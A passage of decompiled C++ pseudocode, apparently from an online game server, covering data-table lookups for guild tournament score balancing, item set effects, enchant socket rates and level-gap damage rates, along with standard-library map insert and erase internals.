&_Val.second, &_Right); LOBYTE(v9) = 1; v5 = *std::_Tree>_std::less_std::allocator>>>_0>>::insert( &v2->baseclass_0, (std::_Tree >,std::less,std::allocator > *)(v5 + 16); } //----- (0058F510) -------------------------------------------------------- int __cdecl GuildTournamentLvGapTable::BalanceScoreMediate(int nType, int nScore, int nMurderLevel, int nVictimLevel) { std::vector > *v4; // ecx@1 GUILD_TOURNAMENT_LVGAP **v5; // edx@1 unsigned int i; // esi@1 int v7; // ecx@9 GUILD_TOURNAMENT_LVGAP **v8; // ecx@11 v4 = std::map>_std::less_std::allocator>>>>::operator__( &GuildTournamentLvGapTable::sm_mapBalanceDatas, &nType); nVictimLevel -= nMurderLevel; v5 = v4->_Myfirst; for ( i = 0; ; ++i ) { if ( !v5 ) goto LABEL_14; if ( v4->_Mylast - v5 <= i ) break; if ( (double)nVictimLevel >= v5[i]->LvGap ) { if ( !v5 || v4->_Mylast - v5 <= i ) std::vector>::_Xran(v4); v7 = v5[i]->PointRate; return nScore * v7 / 100; } } if ( v5 ) { v8 = v4->_Mylast; if ( v8 - v5 ) { v7 = (*(v8 - 1))->PointRate; return nScore * v7 / 100; } } LABEL_14: AssertClass::ac_AssertFail(&shineassert, "GuildTournamentBalanceTable::BalanceScoreMediate Not Find : %d", nType); return 0; } //----- (0058F5C0) -------------------------------------------------------- bool __thiscall GuildTournamentLvGapTable::DataProcess(GuildTournamentLvGapTable *this) { unsigned int v1; // ebx@1 int v2; // eax@2 void *v3; // eax@4 int v4; // edi@4 int v5; // eax@4 std::vector > *v6; // eax@4 GUILD_TOURNAMENT_LVGAP **v7; // ecx@4 int v8; // esi@5 GUILD_TOURNAMENT_LVGAP **v9; // ecx@9 int _Keyval; // [sp+Ch] [bp-8h]@4 int pBalance; // [sp+10h] [bp-4h]@4 v1 = 0; while ( 1 ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( v1 >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), v1); v4 = (int)v3; v5 = *(_WORD *)v3; pBalance = v4; _Keyval = v5; v6 = std::map>_std::less_std::allocator>>>>::operator__( &GuildTournamentLvGapTable::sm_mapBalanceDatas, &_Keyval); v7 = v6->_Myfirst; if ( v7 ) v8 = v6->_Mylast - v7; else v8 = 0; if ( v7 && v8 < v6->_Myend - v7 ) { v9 = v6->_Mylast; *v9 = (GUILD_TOURNAMENT_LVGAP *)v4; v6->_Mylast = v9 + 1; ++v1; } else { std::vector>::_Insert_n( v6, (std::vector >::iterator)v6->_Mylast, 1u, (GUILD_TOURNAMENT_LVGAP *const *)&pBalance); ++v1; } } return 1; } // 131DB458: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (0058F660) -------------------------------------------------------- char __cdecl SetEffectTable::FindActionID(const char *pSetItemIndex, int nCount, unsigned __int16 *pActionID) { char result; // al@3 unsigned int i; // ebp@4 int v5; // eax@5 void *v6; // edi@7 if ( nCount && pActionID ) { for ( i = 0; ; ++i ) { v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v5 ) break; if ( i >= *(_DWORD *)(v5 + 40) ) break; v6 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( !strcmp(pSetItemIndex, (const char *)v6) && *((_BYTE *)v6 + 32) == nCount ) { *pActionID = *(_WORD *)((char *)v6 + 33); return 1; } } result = 0; } else { result = 0; } return result; } // 131DB490: using guessed type int ITableBase_SetEffect_SetEffectTable___ms_pkTable; //----- (0058F700) -------------------------------------------------------- char __cdecl ActionEffectAbStateTable::FindActionID(const char *pAbstateIndex, unsigned __int16 *pActionID) { char result; // al@2 unsigned int i; // ebp@5 int v4; // eax@6 void *v5; // edi@8 if ( pActionID ) { if ( pAbstateIndex ) { for ( i = 0; ; ++i ) { v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v4 ) break; if ( i >= *(_DWORD *)(v4 + 40) ) break; v5 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); if ( !strcmp(pAbstateIndex, (const char *)v5) ) { *pActionID = *((_WORD *)v5 + 18); return 1; } } result = 0; } else { result = 0; } } else { result = 0; } return result; } // 131DB498: using guessed type int ITableBase_ActionEffectAbState_ActionEffectAbStateTable___ms_pkTable; //----- (0058F790) -------------------------------------------------------- char __thiscall EnchantSocketRateTable::EnchantSocketRateDataChild::iod_GetSocketCount(EnchantSocketRateTable::EnchantSocketRateDataChild *this, unsigned __int16 ItemID) { ItemDataBox::ItemDataBoxIndex *v2; // eax@1 char result; // al@2 int v4; // ebx@3 unsigned int i; // edi@3 int v6; // eax@4 void *v7; // eax@6 void *v8; // esi@6 int v9; // eax@9 v2 = ItemDataBox::operator__(&itemdatabox, ItemID); if ( v2 ) { v4 = v2->data->ItemGradeType; for ( i = 0; ; ++i ) { v6 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v6 || i >= *(_DWORD *)(v6 + 40) ) { AssertClass::ac_AssertFail(&shineassert, "EnchantSocketRateDataChild::iod_GetSocketCount UnKnow Grade Type", v4); goto LABEL_12; } v7 = CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i); v8 = v7; if ( !v7 ) goto LABEL_12; if ( v4 == *(_DWORD *)v7 ) break; } v9 = RandomBox::rb_largerandom( &rndbox, (unsigned __int16)(*((_WORD *)v7 + 2) + *((_WORD *)v7 + 3) + *((_WORD *)v7 + 4))) - *((_WORD *)v7 + 2); if ( v9 >= 0 ) return (v9 - *((_WORD *)v8 + 3) >= 0) + 1; LABEL_12: result = 0; } else { result = 0; } return result; } // 131DB49C: using guessed type int ITableBase_EnchantSocketRate_EnchantSocketRateTable___ms_pkTable; //----- (0058F840) -------------------------------------------------------- bool __thiscall EnchantSocketRateTable::DataProcess(EnchantSocketRateTable *this) { if ( !(_S4_1 & 1) ) { _S4_1 |= 1u; RateDataProcess.baseclass_0.vfptr = (EnchantSocketRateDataVtbl *)&EnchantSocketRateTable::EnchantSocketRateDataChild::_vftable_; } EnchantSocketRateData::SetSocketRateData(&RateDataProcess.baseclass_0); return 1; } // 67DEB4: using guessed type int (__stdcall *EnchantSocketRateTable__EnchantSocketRateDataChild___vftable_)(__int16 ItemID); //----- (0058F870) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,1> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,1> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_1>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0058F8B0) -------------------------------------------------------- ActionEffectItem *__cdecl ActionEffectItemTable::GetByID(unsigned __int16 itemID) { std::_Tree,std::allocator >,0> >::iterator v1; // ecx@0 int v2; // eax@1 ActionEffectItem *v3; // eax@2 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = v1; v2 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::find( (std::_Tree,std::allocator >,0> > *)&ActionEffectItemTable::_actions, &result, &itemID)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)v2 == ActionEffectItemTable::_actions._Myhead ) v3 = 0; else v3 = *(ActionEffectItem **)(v2 + 16); return v3; } //----- (0058F8E0) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val) { std::_Tree,std::allocator >,1> > *v5; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator >,1> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator >,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x1FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator>_1>>::_Buynode( (std::_Tree,std::allocator >,0> > *)this, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator >,0> >::_Node *)this->_Myhead, (std::pair *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 20) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v5, *(std::_Tree_nod,std::allocator >,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 20) = 1; *(_BYTE *)(v14 + 20) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 20) = 0; v11 = *(std::_Tree_nod,std::allocator >,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0058FA90) -------------------------------------------------------- std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where) { std::_Tree,std::allocator >,1> > *v3; // ebp@1 std::_Tree,std::allocator >,1> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,1> >::iterator v5; // edi@5 std::_Tree,std::allocator >,1> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,1> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,1> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,1> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,1> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,1> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,1> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator >,1> >::_Node *)v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,1> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator >,1> >::_Node *)std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,1> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,1> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( (std::_Tree,std::allocator >,0> > *)v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_1>>::_Rrotate( (std::_Tree,std::allocator >,0> > *)v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,1> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0058FD50) -------------------------------------------------------- std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val) { std::_Tree_nod,std::allocator >,1> >::_Node *v3; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v4; // esi@1 const unsigned __int16 v5; // di@2 int v6; // ecx@7 std::pair,std::allocator >,1> >::iterator,bool> *v7; // eax@7 char _Addleft; // [sp+8h] [bp-4h]@1 v3 = this->_Myhead->_Parent; v4 = this->_Myhead; _Addleft = 1; if ( !v3->_Isnil ) { v5 = _Val->first; do { v4 = v3; _Addleft = v5 < v3->_Myval.first; if ( v5 >= v3->_Myval.first ) v3 = v3->_Right; else v3 = v3->_Left; } while ( !v3->_Isnil ); } v6 = *(_DWORD *)&std::_Tree_std::allocator>_1>>::_Insert( this, (std::_Tree,std::allocator >,1> >::iterator *)&_Val, _Addleft, v4, _Val)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v7 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; result->second = 1; return v7; } //----- (0058FDC0) -------------------------------------------------------- int std::_Tree_std::allocator>_1>>::erase(...) { std::_Tree,std::allocator >,1> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,1> >::iterator v5; // esi@1 std::_Tree,std::allocator >,1> > *v6; // edi@1 std::_Tree_nod,std::allocator >,1> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,1> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,1> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,1> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,1> >::iterator j; // eax@7 std::_Tree,std::allocator >,1> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,1> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,1> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,1> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,1> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,1> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_1>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_1>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (0058FE80) -------------------------------------------------------- bool __thiscall ActionEffectItemTable::DataProcess(ActionEffectItemTable *this) { unsigned int i; // esi@1 int v2; // eax@2 void *v3; // eax@4 const unsigned __int16 v4; // cx@4 std::pair _Val; // [sp+8h] [bp-10h]@4 std::pair,std::allocator >,1> >::iterator,bool> result; // [sp+10h] [bp-8h]@4 for ( i = 0; ; ++i ) { v2 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v2 ) break; if ( i >= *(_DWORD *)(v2 + 40) ) break; v3 = CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), i); v4 = *(_WORD *)v3; _Val.second = (ActionEffectItem *)v3; _Val.first = v4; std::_Tree_std::allocator>_1>>::insert( &ActionEffectItemTable::_actions, &result, &_Val); } return 1; } // 131DB494: using guessed type int ITableBase_ActionEffectItem_ActionEffectItemTable___ms_pkTable; //----- (0058FEE0) -------------------------------------------------------- void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this) { std::multimap,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,1> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,1> >::iterator)this; v1 = this; std::_Tree_std::allocator>_1>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,1> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (0058FF10) -------------------------------------------------------- char __thiscall LevelGap_Player_to_Player::GetID(LevelGap_Player_to_Player *this, DamageLvGapPVP *pkRecord) { return pkRecord->MyLv; } //----- (0058FF20) -------------------------------------------------------- int __cdecl LevelGap_Player_to_Player::GetLevelCapRate(int nAttPlayerLv, int nDefPlayerLv) { int v2; // esi@1 int v3; // eax@3 int result; // eax@5 v2 = ITableBase::ms_pkTable; if ( (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 16))( ITableBase::ms_pkTable, nAttPlayerLv) && (unsigned __int8)nAttPlayerLv <= *(_BYTE *)(v2 + 196) && (v3 = *(_DWORD *)(*(_DWORD *)(v2 + 192) + 4 * (unsigned __int8)nAttPlayerLv)) != 0 && nDefPlayerLv < 150 ) result = *(_WORD *)(LevelGap_Player_to_Player::DefLv[nDefPlayerLv] + v3); else result = 1000; return result; } // 131DB4A4: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (0058FF80) -------------------------------------------------------- int __cdecl LevelGap_Player_to_Monster::GetLevelCapRate(int nPlayerLv, int nMonsterLv) { unsigned int i; // esi@1 int v3; // eax@2 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; if ( nMonsterLv - nPlayerLv <= *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) ) return *((_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) + 1); } return 1000; } // 131DB478: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (0058FFE0) -------------------------------------------------------- int __cdecl LevelGap_Monster_to_Player::GetLevelCapRate(int nMonsterLv, int nPlayerLv) { unsigned int i; // esi@1 int v3; // eax@2 for ( i = 0; ; ++i ) { v3 = *(_DWORD *)(ITableBase::ms_pkTable + 52); if ( !v3 ) break; if ( i >= *(_DWORD *)(v3 + 40) ) break; if ( nMonsterLv - nPlayerLv <= *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) ) return *((_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), i) + 1); } return 1000; } // 131DB47C: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (00590040) -------------------------------------------------------- bool __cdecl MysteryVaultTable::IsCheckClassType(ChrClassType CheckType, char classid) { CharClass *v2; // ecx@1 bool result; // al@3 v2 = CharClassManager::operator__(&charclassmanager, classid); if ( v2 ) { switch ( CheckType ) { case 0: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 1; break; case 1: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 11; break; case 2: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 6; break; case 3: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 16; break; case 4: result = ((int (*)(void))v2->vfptr->cc_BaseClass)() == 21; break; case 5: result = 1; break; default: 